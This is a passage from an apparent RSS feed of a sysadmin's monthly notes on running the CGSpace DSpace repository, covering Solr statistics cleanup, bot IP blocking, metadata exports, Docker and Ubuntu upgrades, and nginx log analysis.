using a normal user agent</li> +<li>I see 13,000 hits from 163.237.216.11 on a data center ISP in Australia, using a normal user agent</li> +<li>I see 7,300 hits from 208.185.238.57 from Britanica, using a normal user agent +<ul> +<li>There seem to be many more of these:</li> +</ul> +</li> +</ul> + + + + May, 2022 + https://alanorth.github.io/cgspace-notes/2022-05/ + Wed, 04 May 2022 09:13:39 +0300 + + https://alanorth.github.io/cgspace-notes/2022-05/ + <h2 id="2022-05-04">2022-05-04</h2> +<ul> +<li>I found a few more IPs making requests using the shady Chrome 44 user agent in the last few days so I will add them to the block list too: +<ul> +<li>18.207.136.176</li> +<li>185.189.36.248</li> +<li>50.118.223.78</li> +<li>52.70.76.123</li> +<li>3.236.10.11</li> +</ul> +</li> +<li>Looking at the Solr statistics for 2022-04 +<ul> +<li>52.191.137.59 is Microsoft, but they are using a normal user agent and making tens of thousands of requests</li> +<li>64.39.98.62 is owned by Qualys, and all their requests are probing for /etc/passwd etc</li> +<li>185.192.69.15 is in the Netherlands and is using a normal user agent, but making excessive automated HTTP requests to paths forbidden in robots.txt</li> +<li>157.55.39.159 is owned by Microsoft and identifies as bingbot so I don&rsquo;t know why its requests were logged in Solr</li> +<li>52.233.67.176 is owned by Microsoft and uses a normal user agent, but making excessive automated HTTP requests</li> +<li>157.55.39.144 is owned by Microsoft and uses a normal user agent, but making excessive automated HTTP requests</li> +<li>207.46.13.177 is owned by Microsoft and identifies as bingbot so I don&rsquo;t know why its requests were logged in Solr</li> +<li>If I query Solr for <code>time:2022-04* AND dns:*msnbot* AND dns:*.msn.com.</code> I see a handful of IPs that made 41,000 requests</li> +</ul> +</li> +<li>I purged 93,974 hits from these IPs using my <code>check-spider-ip-hits.sh</code> script</li> +</ul> + + + + April, 2022 + https://alanorth.github.io/cgspace-notes/2022-04/ + Fri, 01 Apr 2022 10:53:39 +0300 + + https://alanorth.github.io/cgspace-notes/2022-04/ + 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia&rsquo;s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. + + + + March, 2022 + https://alanorth.github.io/cgspace-notes/2022-03/ + Tue, 01 Mar 2022 16:46:54 +0300 + + https://alanorth.github.io/cgspace-notes/2022-03/ + <h2 id="2022-03-01">2022-03-01</h2> +<ul> +<li>Send Gaia the last batch of potential duplicates for items 701 to 980:</li> +</ul> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv &gt; /tmp/tac4.csv +</span></span><span style="display:flex;"><span>$ ./ilri/check-duplicates.py -i /tmp/tac4.csv -db dspace -u dspace -p <span style="color:#e6db74">&#39;fuuu&#39;</span> -o /tmp/2022-03-01-tac-batch4-701-980.csv +</span></span><span style="display:flex;"><span>$ csvcut -c id,filename ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv &gt; /tmp/tac4-filenames.csv +</span></span><span style="display:flex;"><span>$ csvjoin -c id /tmp/2022-03-01-tac-batch4-701-980.csv /tmp/tac4-filenames.csv &gt; /tmp/2022-03-01-tac-batch4-701-980-filenames.csv +</span></span></code></pre></div> + + + + February, 2022 + https://alanorth.github.io/cgspace-notes/2022-02/ + Tue, 01 Feb 2022 14:06:54 +0200 + + https://alanorth.github.io/cgspace-notes/2022-02/ + <h2 id="2022-02-01">2022-02-01</h2> +<ul> +<li>Meeting with Peter and Abenet about CGSpace in the One CGIAR +<ul> +<li>We agreed to buy $5,000 worth of credits from Atmire for future upgrades</li> +<li>We agreed to move CRPs and non-CGIAR communities off the home page, as well as some other things for the CGIAR System Organization</li> +<li>We agreed to make a Discovery facet for CGIAR Action Areas above the existing CGIAR Impact Areas one</li> +<li>We agreed to try to do more alignment of affiliations/funders with ROR</li> +</ul> +</li> +</ul> + + + + January, 2022 + https://alanorth.github.io/cgspace-notes/2022-01/ + Sat, 01 Jan 2022 15:20:54 +0200 + + https://alanorth.github.io/cgspace-notes/2022-01/ + <h2 id="2022-01-01">2022-01-01</h2> +<ul> +<li>Start a full harvest on AReS</li> +</ul> + + + + December, 2021 + https://alanorth.github.io/cgspace-notes/2021-12/ + Wed, 01 Dec 2021 16:07:07 +0200 + + https://alanorth.github.io/cgspace-notes/2021-12/ + <h2 id="2021-12-01">2021-12-01</h2> +<ul> +<li>Atmire merged some changes I had submitted to the COUNTER-Robots project</li> +<li>I updated our local spider user agents and then re-ran the list with my <code>check-spider-hits.sh</code> script on CGSpace:</li> +</ul> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ ./ilri/check-spider-hits.sh -f /tmp/agents -p +</span></span><span style="display:flex;"><span>Purging 1989 hits from The Knowledge AI in statistics +</span></span><span style="display:flex;"><span>Purging 1235 hits from MaCoCu in statistics +</span></span><span style="display:flex;"><span>Purging 455 hits from WhatsApp in statistics +</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"> +</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Total number of bot hits purged: 3679 +</span></span></code></pre></div> + + + + November, 2021 + https://alanorth.github.io/cgspace-notes/2021-11/ + Tue, 02 Nov 2021 22:27:07 +0200 + + https://alanorth.github.io/cgspace-notes/2021-11/ + <h2 id="2021-11-02">2021-11-02</h2> +<ul> +<li>I experimented with manually sharding the Solr statistics on DSpace Test</li> +<li>First I exported all the 2019 stats from CGSpace:</li> +</ul> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ ./run.sh -s http://localhost:8081/solr/statistics -f <span style="color:#e6db74">&#39;time:2019-*&#39;</span> -a export -o statistics-2019.json -k uid +</span></span><span style="display:flex;"><span>$ zstd statistics-2019.json +</span></span></code></pre></div> + + + + October, 2021 + https://alanorth.github.io/cgspace-notes/2021-10/ + Fri, 01 Oct 2021 11:14:07 +0300 + + https://alanorth.github.io/cgspace-notes/2021-10/ + <h2 id="2021-10-01">2021-10-01</h2> +<ul> +<li>Export all affiliations on CGSpace and run them against the latest RoR data dump:</li> +</ul> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>localhost/dspace63= &gt; \COPY (SELECT DISTINCT text_value as &#34;cg.contributor.affiliation&#34;, count(*) FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id = 211 GROUP BY text_value ORDER BY count DESC) to /tmp/2021-10-01-affiliations.csv WITH CSV HEADER; +</span></span><span style="display:flex;"><span>$ csvcut -c <span style="color:#ae81ff">1</span> /tmp/2021-10-01-affiliations.csv | sed 1d &gt; /tmp/2021-10-01-affiliations.txt +</span></span><span style="display:flex;"><span>$ ./ilri/ror-lookup.py -i /tmp/2021-10-01-affiliations.txt -r 2021-09-23-ror-data.json -o /tmp/2021-10-01-affili +</span></span><span style="display:flex;"><span>ations-matching.csv +</span></span><span style="display:flex;"><span>$ csvgrep -c matched -m true /tmp/2021-10-01-affiliations-matching.csv | sed 1d | wc -l +</span></span><span style="display:flex;"><span>1879 +</span></span><span style="display:flex;"><span>$ wc -l /tmp/2021-10-01-affiliations.txt +</span></span><span style="display:flex;"><span>7100 /tmp/2021-10-01-affiliations.txt +</span></span></code></pre></div><ul> +<li>So we have 1879/7100 (26.46%) matching already</li> +</ul> + + + + September, 2021 + https://alanorth.github.io/cgspace-notes/2021-09/ + Wed, 01 Sep 2021 09:14:07 +0300 + + https://alanorth.github.io/cgspace-notes/2021-09/ + <h2 id="2021-09-02">2021-09-02</h2> +<ul> +<li>Troubleshooting the missing Altmetric scores on AReS +<ul> +<li>Turns out that I didn&rsquo;t actually fix them last month because the check for <code>content.altmetric</code> still exists, and I can&rsquo;t access the DOIs using <code>_h.source.DOI</code> for some reason</li> +<li>I can access all other kinds of item metadata using the Elasticsearch label, but not DOI!!!</li> +<li>I will change <code>DOI</code> to <code>tomato</code> in the repository setup and start a re-harvest&hellip; I need to see if this is some kind of reserved word or something&hellip;</li> +<li>Even as <code>tomato</code> I can&rsquo;t access that field as <code>_h.source.tomato</code> in Angular, but it does work as a filter source&hellip; sigh</li> +</ul> +</li> +<li>I&rsquo;m having problems using the OpenRXV API +<ul> +<li>The syntax Moayad showed me last month doesn&rsquo;t seem to honor the search query properly&hellip;</li> +</ul> +</li> +</ul> + + + + August, 2021 + https://alanorth.github.io/cgspace-notes/2021-08/ + Sun, 01 Aug 2021 09:01:07 +0300 + + https://alanorth.github.io/cgspace-notes/2021-08/ + <h2 id="2021-08-01">2021-08-01</h2> +<ul> +<li>Update Docker images on AReS server (linode20) and reboot the server:</li> +</ul> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span># docker images | grep -v ^REPO | sed <span style="color:#e6db74">&#39;s/ \+/:/g&#39;</span> | cut -d: -f1,2 | grep -v none | xargs -L1 docker pull +</span></span></code></pre></div><ul> +<li>I decided to upgrade linode20 from Ubuntu 18.04 to 20.04</li> +</ul> + + + + July, 2021 + https://alanorth.github.io/cgspace-notes/2021-07/ + Thu, 01 Jul 2021 08:53:07 +0300 + + https://alanorth.github.io/cgspace-notes/2021-07/ + <h2 id="2021-07-01">2021-07-01</h2> +<ul> +<li>Export another list of ALL subjects on CGSpace, including AGROVOC and non-AGROVOC for Enrico:</li> +</ul> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>localhost/dspace63= &gt; \COPY (SELECT DISTINCT LOWER(text_value) AS subject, count(*) FROM metadatavalue WHERE dspace_object_id in (SELECT dspace_object_id FROM item) AND metadata_field_id IN (119, 120, 127, 122, 128, 125, 135, 203, 208, 210, 215, 123, 236, 242, 187) GROUP BY subject ORDER BY count DESC) to /tmp/2021-07-01-all-subjects.csv WITH CSV HEADER; +</span></span><span style="display:flex;"><span>COPY 20994 +</span></span></code></pre></div> + + + + June, 2021 + https://alanorth.github.io/cgspace-notes/2021-06/ + Tue, 01 Jun 2021 10:51:07 +0300 + + https://alanorth.github.io/cgspace-notes/2021-06/ + <h2 id="2021-06-01">2021-06-01</h2> +<ul> +<li>IWMI notified me that AReS was down with an HTTP 502 error +<ul> +<li>Looking at UptimeRobot I see it has been down for 33 hours, but I never got a notification</li> +<li>I don&rsquo;t see anything in the Elasticsearch container logs, or the systemd journal on the host, but I notice that the <code>angular_nginx</code> container isn&rsquo;t running</li> +<li>I simply started it and AReS was running again:</li> +</ul> +</li> +</ul> + + + + May, 2021 + https://alanorth.github.io/cgspace-notes/2021-05/ + Sun, 02 May 2021 09:50:54 +0300 + + https://alanorth.github.io/cgspace-notes/2021-05/ + <h2 id="2021-05-01">2021-05-01</h2> +<ul> +<li>I looked at the top user agents and IPs in the Solr statistics for last month and I see these user agents: +<ul> +<li>&ldquo;RI/1.0&rdquo;, 1337</li> +<li>&ldquo;Microsoft Office Word 2014&rdquo;, 941</li> +</ul> +</li> +<li>I will add the RI/1.0 pattern to our DSpace agents overload and purge them from Solr (we had previously seen this agent with 9,000 hits or so in 2020-09), but I think I will leave the Microsoft Word one&hellip; as that&rsquo;s an actual user&hellip;</li> +</ul> + + + + April, 2021 + https://alanorth.github.io/cgspace-notes/2021-04/ + Thu, 01 Apr 2021 09:50:54 +0300 + + https://alanorth.github.io/cgspace-notes/2021-04/ + <h2 id="2021-04-01">2021-04-01</h2> +<ul> +<li>I wrote a script to query Sherpa&rsquo;s API for our ISSNs: <code>sherpa-issn-lookup.py</code> +<ul> +<li>I&rsquo;m curious to see how the results compare with the results from Crossref yesterday</li> +</ul> +</li> +<li>AReS Explorer was down since this morning, I didn&rsquo;t see anything in the systemd journal +<ul> +<li>I simply took everything down with docker-compose and then back up, and then it was OK</li> +<li>Perhaps one of the containers crashed, I should have looked closer but I was in a hurry</li> +</ul> +</li> +</ul> + + + + March, 2021 + https://alanorth.github.io/cgspace-notes/2021-03/ + Mon, 01 Mar 2021 10:13:54 +0200 + + https://alanorth.github.io/cgspace-notes/2021-03/ + <h2 id="2021-03-01">2021-03-01</h2> +<ul> +<li>Discuss some OpenRXV issues with Abdullah from CodeObia +<ul> +<li>He&rsquo;s trying to work on the DSpace 6+ metadata schema autoimport using the DSpace 6+ REST API</li> +<li>Also, we found some issues building and running OpenRXV currently due to ecosystem shift in the Node.js dependencies</li> +</ul> +</li> +</ul> + + + + CGSpace CG Core v2 Migration + https://alanorth.github.io/cgspace-notes/cgspace-cgcorev2-migration/ + Sun, 21 Feb 2021 13:27:35 +0200 + + https://alanorth.github.io/cgspace-notes/cgspace-cgcorev2-migration/ + <p>Changes to CGSpace metadata fields to align more with DC, QDC, and DCTERMS as well as CG Core v2. Implemented on 2021-02-21.</p> +<p>With reference to <a href="https://agriculturalsemantics.github.io/cg-core/cgcore.html">CG Core v2 draft standard</a> by Marie-Angélique as well as <a href="http://www.dublincore.org/specifications/dublin-core/dcmi-terms/">DCMI DCTERMS</a>.</p> + + + + February, 2021 + https://alanorth.github.io/cgspace-notes/2021-02/ + Mon, 01 Feb 2021 10:13:54 +0200 + + https://alanorth.github.io/cgspace-notes/2021-02/ + <h2 id="2021-02-01">2021-02-01</h2> +<ul> +<li>Abenet said that CIP found more duplicate records in their export from AReS +<ul> +<li>I re-opened <a href="https://github.com/ilri/OpenRXV/issues/67">the issue</a> on OpenRXV where we had previously noticed this</li> +<li>The shared link where the duplicates are is here: <a href="https://cgspace.cgiar.org/explorer/shared/heEOz3YBnXdK69bR2ra6">https://cgspace.cgiar.org/explorer/shared/heEOz3YBnXdK69bR2ra6</a></li> +</ul> +</li> +<li>I had a call with CodeObia to discuss the work on OpenRXV</li> +<li>Check the results of the AReS harvesting from last night:</li> +</ul> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ curl -s <span style="color:#e6db74">&#39;http://localhost:9200/openrxv-items-temp/_count?q=*&amp;pretty&#39;</span> +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> &#34;count&#34; : 100875, +</span></span><span style="display:flex;"><span> &#34;_shards&#34; : { +</span></span><span style="display:flex;"><span> &#34;total&#34; : 1, +</span></span><span style="display:flex;"><span> &#34;successful&#34; : 1, +</span></span><span style="display:flex;"><span> &#34;skipped&#34; : 0, +</span></span><span style="display:flex;"><span> &#34;failed&#34; : 0 +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></div> + + + + January, 2021 + https://alanorth.github.io/cgspace-notes/2021-01/ + Sun, 03 Jan 2021 10:13:54 +0200 + + https://alanorth.github.io/cgspace-notes/2021-01/ + <h2 id="2021-01-03">2021-01-03</h2> +<ul> +<li>Peter notified me that some filters on AReS were broken again +<ul> +<li>It&rsquo;s the same issue with the field names getting <code>.keyword</code> appended to the end that I already <a href="https://github.com/ilri/OpenRXV/issues/66">filed an issue on OpenRXV about last month</a></li> +<li>I fixed the broken filters (careful to not edit any others, lest they break too!)</li> +</ul> +</li> +<li>Fix an issue with start page number for the DSpace REST API and statistics API in OpenRXV +<ul> +<li>The start page had been &ldquo;1&rdquo; in the UI, but in the backend they were doing some gymnastics to adjust to the zero-based offset/limit/page of the DSpace REST API and the statistics API</li> +<li>I adjusted it to default to 0 and added a note to the admin screen</li> +<li>I realized that this issue was actually causing the first page of 100 statistics to be missing&hellip;</li> +<li>For example, <a href="https://cgspace.cgiar.org/handle/10568/66839">this item</a> has 51 views on CGSpace, but 0 on AReS</li> +</ul> +</li> +</ul> + + + + December, 2020 + https://alanorth.github.io/cgspace-notes/2020-12/ + Tue, 01 Dec 2020 11:32:54 +0200 + + https://alanorth.github.io/cgspace-notes/2020-12/ + <h2 id="2020-12-01">2020-12-01</h2> +<ul> +<li>Atmire responded about the issue with duplicate data in our Solr statistics +<ul> +<li>They noticed that some records in the statistics-2015 core haven&rsquo;t been migrated with the AtomicStatisticsUpdateCLI tool yet and assumed that I haven&rsquo;t migrated any of the records yet</li> +<li>That&rsquo;s strange, as I checked all ten cores and 2015 is the only one with some unmigrated documents, as according to the <code>cua_version</code> field</li> +<li>I started processing those (about 411,000 records):</li> +</ul> +</li> +</ul> + + + + CGSpace DSpace 6 Upgrade + https://alanorth.github.io/cgspace-notes/cgspace-dspace6-upgrade/ + Sun, 15 Nov 2020 13:27:35 +0200 + + https://alanorth.github.io/cgspace-notes/cgspace-dspace6-upgrade/ + <p>Notes about the DSpace 6 upgrade on CGSpace in 2020-11.</p> + + + + November, 2020 + https://alanorth.github.io/cgspace-notes/2020-11/ + Sun, 01 Nov 2020 13:11:54 +0200 + + https://alanorth.github.io/cgspace-notes/2020-11/ + <h2 id="2020-11-01">2020-11-01</h2> +<ul> +<li>Continue with processing the statistics-2019 Solr core with the AtomicStatisticsUpdateCLI tool on DSpace Test +<ul> +<li>So far we&rsquo;ve spent at least fifty hours to process the statistics and statistics-2019 core&hellip; wow.</li> +</ul> +</li> +</ul> + + + + October, 2020 + https://alanorth.github.io/cgspace-notes/2020-10/ + Tue, 06 Oct 2020 16:55:54 +0300 + + https://alanorth.github.io/cgspace-notes/2020-10/ + <h2 id="2020-10-06">2020-10-06</h2> +<ul> +<li>Add tests for the new <code>/items</code> POST handlers to the DSpace 6.x branch of my <a href="https://github.com/ilri/dspace-statistics-api/tree/v6_x">dspace-statistics-api</a> +<ul> +<li>It took a bit of extra work because I had to learn how to mock the responses for when Solr is not available</li> +<li>Tag and release version 1.3.0 on GitHub: <a href="https://github.com/ilri/dspace-statistics-api/releases/tag/v1.3.0">https://github.com/ilri/dspace-statistics-api/releases/tag/v1.3.0</a></li> +</ul> +</li> +<li>Trying to test the changes Atmire sent last week but I had to re-create my local database from a recent CGSpace dump +<ul> +<li>During the FlywayDB migration I got an error:</li> +</ul> +</li> +</ul> + + + + September, 2020 + https://alanorth.github.io/cgspace-notes/2020-09/ + Wed, 02 Sep 2020 15:35:54 +0300 + + https://alanorth.github.io/cgspace-notes/2020-09/ + <h2 id="2020-09-02">2020-09-02</h2> +<ul> +<li>Replace Marissa van Epp for Rhys Bucknall in the CCAFS groups on CGSpace because Marissa no longer works at CCAFS</li> +<li>The AReS Explorer hasn&rsquo;t updated its index since 2020-08-22 when I last forced it +<ul> +<li>I restarted it again now and told Moayad that the automatic indexing isn&rsquo;t working</li> +</ul> +</li> +<li>Add <code>Alliance of Bioversity International and CIAT</code> to affiliations on CGSpace</li> +<li>Abenet told me that the general search text on AReS doesn&rsquo;t get reset when you use the &ldquo;Reset Filters&rdquo; button +<ul> +<li>I filed a bug on OpenRXV: <a href="https://github.com/ilri/OpenRXV/issues/39">https://github.com/ilri/OpenRXV/issues/39</a></li> +</ul> +</li> +<li>I filed an issue on OpenRXV to make some minor edits to the admin UI: <a href="https://github.com/ilri/OpenRXV/issues/40">https://github.com/ilri/OpenRXV/issues/40</a></li> +</ul> + + + + August, 2020 + https://alanorth.github.io/cgspace-notes/2020-08/ + Sun, 02 Aug 2020 15:35:54 +0300 + + https://alanorth.github.io/cgspace-notes/2020-08/ + <h2 id="2020-08-02">2020-08-02</h2> +<ul> +<li>I spent a few days working on a Java-based curation task to tag items with ISO 3166-1 Alpha2 country codes based on their <code>cg.coverage.country</code> text values +<ul> +<li>It looks up the names in ISO 3166-1 first, and then in our CGSpace countries mapping (which has five or so of Peter&rsquo;s preferred &ldquo;display&rdquo; country names)</li> +<li>It implements a &ldquo;force&rdquo; mode too that will clear existing country codes and re-tag everything</li> +<li>It is class based so I can easily add support for other vocabularies, and the technique could even be used for organizations with mappings to ROR and Clarisa&hellip;</li> +</ul> +</li> +</ul> + + + + July, 2020 + https://alanorth.github.io/cgspace-notes/2020-07/ + Wed, 01 Jul 2020 10:53:54 +0300 + + https://alanorth.github.io/cgspace-notes/2020-07/ + <h2 id="2020-07-01">2020-07-01</h2> +<ul> +<li>A few users noticed that CGSpace wasn&rsquo;t loading items today, item pages seem blank +<ul> +<li>I looked at the PostgreSQL locks but they don&rsquo;t seem unusual</li> +<li>I guess this is the same &ldquo;blank item page&rdquo; issue that we had a few times in 2019 that we never solved</li> +<li>I restarted Tomcat and PostgreSQL and the issue was gone</li> +</ul> +</li> +<li>Since I was restarting Tomcat anyways I decided to redeploy the latest changes from the <code>5_x-prod</code> branch and I added a note about COVID-19 items to the CGSpace frontpage at Peter&rsquo;s request</li> +</ul> + + + + June, 2020 + https://alanorth.github.io/cgspace-notes/2020-06/ + Mon, 01 Jun 2020 13:55:39 +0300 + + https://alanorth.github.io/cgspace-notes/2020-06/ + <h2 id="2020-06-01">2020-06-01</h2> +<ul> +<li>I tried to run the <code>AtomicStatisticsUpdateCLI</code> CUA migration script on DSpace Test (linode26) again and it is still going very slowly and has tons of errors like I noticed yesterday +<ul> +<li>I sent Atmire the dspace.log from today and told them to log into the server to debug the process</li> +</ul> +</li> +<li>In other news, I checked the statistics API on DSpace 6 and it&rsquo;s working</li> +<li>I tried to build the OAI registry on the freshly migrated DSpace 6 on DSpace Test and I get an error:</li> +</ul> + + + + May, 2020 + https://alanorth.github.io/cgspace-notes/2020-05/ + Sat, 02 May 2020 09:52:04 +0300 + + https://alanorth.github.io/cgspace-notes/2020-05/ + <h2 id="2020-05-02">2020-05-02</h2> +<ul> +<li>Peter said that CTA is having problems submitting an item to CGSpace +<ul> +<li>Looking at the PostgreSQL stats it seems to be the same issue that Tezira was having last week, as I see the number of connections in &lsquo;idle in transaction&rsquo; and &lsquo;waiting for lock&rsquo; state are increasing again</li> +<li>I see that CGSpace (linode18) is still using PostgreSQL JDBC driver version 42.2.11, and there were some bugs related to transactions fixed in 42.2.12 (which I had updated in the Ansible playbooks, but not deployed yet)</li> +</ul> +</li> +</ul> + + + + April, 2020 + https://alanorth.github.io/cgspace-notes/2020-04/ + Thu, 02 Apr 2020 10:53:24 +0300 + + https://alanorth.github.io/cgspace-notes/2020-04/ + <h2 id="2020-04-02">2020-04-02</h2> +<ul> +<li>Maria asked me to update Charles Staver&rsquo;s ORCID iD in the submission template and on CGSpace, as his name was lower case before, and now he has corrected it +<ul> +<li>I updated the fifty-eight existing items on CGSpace</li> +</ul> +</li> +<li>Looking into the items Udana had asked about last week that were missing Altmetric donuts: +<ul> +<li><a href="https://hdl.handle.net/10568/103225">The first</a> is still missing its DOI, so I added it and <a href="https://twitter.com/mralanorth/status/1245632619661766657">tweeted its handle</a> (after a few hours there was a donut with score 222)</li> +<li><a href="https://hdl.handle.net/10568/106899">The second item</a> now has a donut with score 2 since I <a href="https://twitter.com/mralanorth/status/1243158045540134913">tweeted its handle</a> last week</li> +<li><a href="https://hdl.handle.net/10568/107258">The third item</a> now has a donut with score 1 since I <a href="https://twitter.com/mralanorth/status/1243158786392625153">tweeted it</a> last week</li> +</ul> +</li> +<li>On the same note, the <a href="https://hdl.handle.net/10568/106573">one item</a> Abenet pointed out last week now has a donut with score of 104 after I <a href="https://twitter.com/mralanorth/status/1243163710241345536">tweeted it</a> last week</li> +</ul> + + + + March, 2020 + https://alanorth.github.io/cgspace-notes/2020-03/ + Mon, 02 Mar 2020 12:31:30 +0200 + + https://alanorth.github.io/cgspace-notes/2020-03/ + <h2 id="2020-03-02">2020-03-02</h2> +<ul> +<li>Update <a href="https://github.com/ilri/dspace-statistics-api">dspace-statistics-api</a> for DSpace 6+ UUIDs +<ul> +<li>Tag version 1.2.0 on GitHub</li> +</ul> +</li> +<li>Test migrating legacy Solr statistics to UUIDs with the as-of-yet unreleased <a href="https://github.com/DSpace/DSpace/commit/184f2b2153479045fba6239342c63e7f8564b8b6#diff-0350ce2e13b28d5d61252b7a8f50a059">SolrUpgradePre6xStatistics.java</a> +<ul> +<li>You need to download this into the DSpace 6.x source and compile it</li> +</ul> +</li> +</ul> + + + + February, 2020 + https://alanorth.github.io/cgspace-notes/2020-02/ + Sun, 02 Feb 2020 11:56:30 +0200 + + https://alanorth.github.io/cgspace-notes/2020-02/ + <h2 id="2020-02-02">2020-02-02</h2> +<ul> +<li>Continue working on porting CGSpace&rsquo;s DSpace 5 code to DSpace 6.3 that I started yesterday +<ul> +<li>Sign up for an account with MaxMind so I can get the GeoLite2-City.mmdb database</li> +<li>I still need to wire up the API credentials and cron job into the Ansible infrastructure playbooks</li> +<li>Fix some minor issues in the config and XMLUI themes, like removing Atmire stuff</li> +<li>The code finally builds and runs with a fresh install</li> +</ul> +</li> +</ul> + + + + January, 2020 + https://alanorth.github.io/cgspace-notes/2020-01/ + Mon, 06 Jan 2020 10:48:30 +0200 + + https://alanorth.github.io/cgspace-notes/2020-01/ + <h2 id="2020-01-06">2020-01-06</h2> +<ul> +<li>Open <a href="https://tracker.atmire.com/tickets-cgiar-ilri/view-ticket?id=706">a ticket</a> with Atmire to request a quote for the upgrade to DSpace 6</li> +<li>Last week Altmetric responded about the <a href="https://hdl.handle.net/10568/97087">item</a> that had a lower score than than its DOI +<ul> +<li>The score is now linked to the DOI</li> +<li>Another <a href="https://hdl.handle.net/10568/91278">item</a> that had the same problem in 2019 has now also linked to the score for its DOI</li> +<li>Another <a href="https://hdl.handle.net/10568/81236">item</a> that had the same problem in 2019 has also been fixed</li> +</ul> +</li> +</ul> +<h2 id="2020-01-07">2020-01-07</h2> +<ul> +<li>Peter Ballantyne highlighted one more WLE <a href="https://hdl.handle.net/10568/101286">item</a> that is missing the Altmetric score that its DOI has +<ul> +<li>The DOI has a score of 259, but the Handle has no score at all</li> +<li>I <a href="https://twitter.com/mralanorth/status/1214471427157626881">tweeted</a> the CGSpace repository link</li> +</ul> +</li> +</ul> + + + + December, 2019 + https://alanorth.github.io/cgspace-notes/2019-12/ + Sun, 01 Dec 2019 11:22:30 +0200 + + https://alanorth.github.io/cgspace-notes/2019-12/ + <h2 id="2019-12-01">2019-12-01</h2> +<ul> +<li>Upgrade CGSpace (linode18) to Ubuntu 18.04: +<ul> +<li>Check any packages that have residual configs and purge them:</li> +<li><!-- raw HTML omitted --># dpkg -l | grep -E &lsquo;^rc&rsquo; | awk &lsquo;{print $2}&rsquo; | xargs dpkg -P<!-- raw HTML omitted --></li> +<li>Make sure all packages are up to date and the package manager is up to date, then reboot:</li> +</ul> +</li> +</ul> +<pre tabindex="0"><code># apt update &amp;&amp; apt full-upgrade +# apt-get autoremove &amp;&amp; apt-get autoclean +# dpkg -C +# reboot +</code></pre> + + + + November, 2019 + https://alanorth.github.io/cgspace-notes/2019-11/ + Mon, 04 Nov 2019 12:20:30 +0200 + + https://alanorth.github.io/cgspace-notes/2019-11/ + <h2 id="2019-11-04">2019-11-04</h2> +<ul> +<li>Peter noticed that there were 5.2 million hits on CGSpace in 2019-10 according to the Atmire usage statistics +<ul> +<li>I looked in the nginx logs and see 4.6 million in the access logs, and 1.2 million in the API logs:</li> +</ul> +</li> +</ul> +<pre tabindex="0"><code># zcat --force /var/log/nginx/*access.log.*.gz | grep -cE &#34;[0-9]{1,2}/Oct/2019&#34; +4671942 +# zcat --force /var/log/nginx/{rest,oai,statistics}.log.*.gz | grep -cE &#34;[0-9]{1,2}/Oct/2019&#34; +1277694 +</code></pre><ul> +<li>So 4.6 million from XMLUI and another 1.2 million from API requests</li> +<li>Let&rsquo;s see how many of the REST API requests were for bitstreams (because they are counted in Solr stats):</li> +</ul> +<pre tabindex="0"><code># zcat --force /var/log/nginx/rest.log.*.gz | grep -c -E &#34;[0-9]{1,2}/Oct/2019&#34; +1183456 +# zcat --force /var/log/nginx/rest.log.*.gz | grep -E &#34;[0-9]{1,2}/Oct/2019&#34; | grep -c -E &#34;/rest/bitstreams&#34; +106781 +</code></pre> + + + + October, 2019 + https://alanorth.github.io/cgspace-notes/2019-10/ + Tue, 01 Oct 2019 13:20:51 +0300 + + https://alanorth.github.io/cgspace-notes/2019-10/ + 2019-10-01 Udana from IWMI asked me for a CSV export of their community on CGSpace I exported it, but a quick run through the csv-metadata-quality tool shows that there are some low-hanging fruits we can fix before I send him the data I will limit the scope to the titles, regions, subregions, and river basins for now to manually fix some non-breaking spaces (U+00A0) there that would otherwise be removed by the csv-metadata-quality script&rsquo;s &ldquo;unneccesary Unicode&rdquo; fix: $ csvcut -c &#39;id,dc. + + + + September, 2019 + https://alanorth.github.io/cgspace-notes/2019-09/ + Sun, 01 Sep 2019 10:17:51 +0300 + + https://alanorth.github.io/cgspace-notes/2019-09/ + <h2 id="2019-09-01">2019-09-01</h2> +<ul> +<li>Linode emailed to say that CGSpace (linode18) had a high rate of outbound traffic for several hours this morning</li> +<li>Here are the top ten IPs in the nginx XMLUI and REST/OAI logs this morning:</li> +</ul> +<pre tabindex="0"><code># zcat --force /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep -E &#34;01/Sep/2019:0&#34; | awk &#39;{print $1}&#39; | sort | uniq -c | sort -n | tail -n 10 + 440 17.58.101.255 + 441 157.55.39.101 + 485 207.46.13.43 + 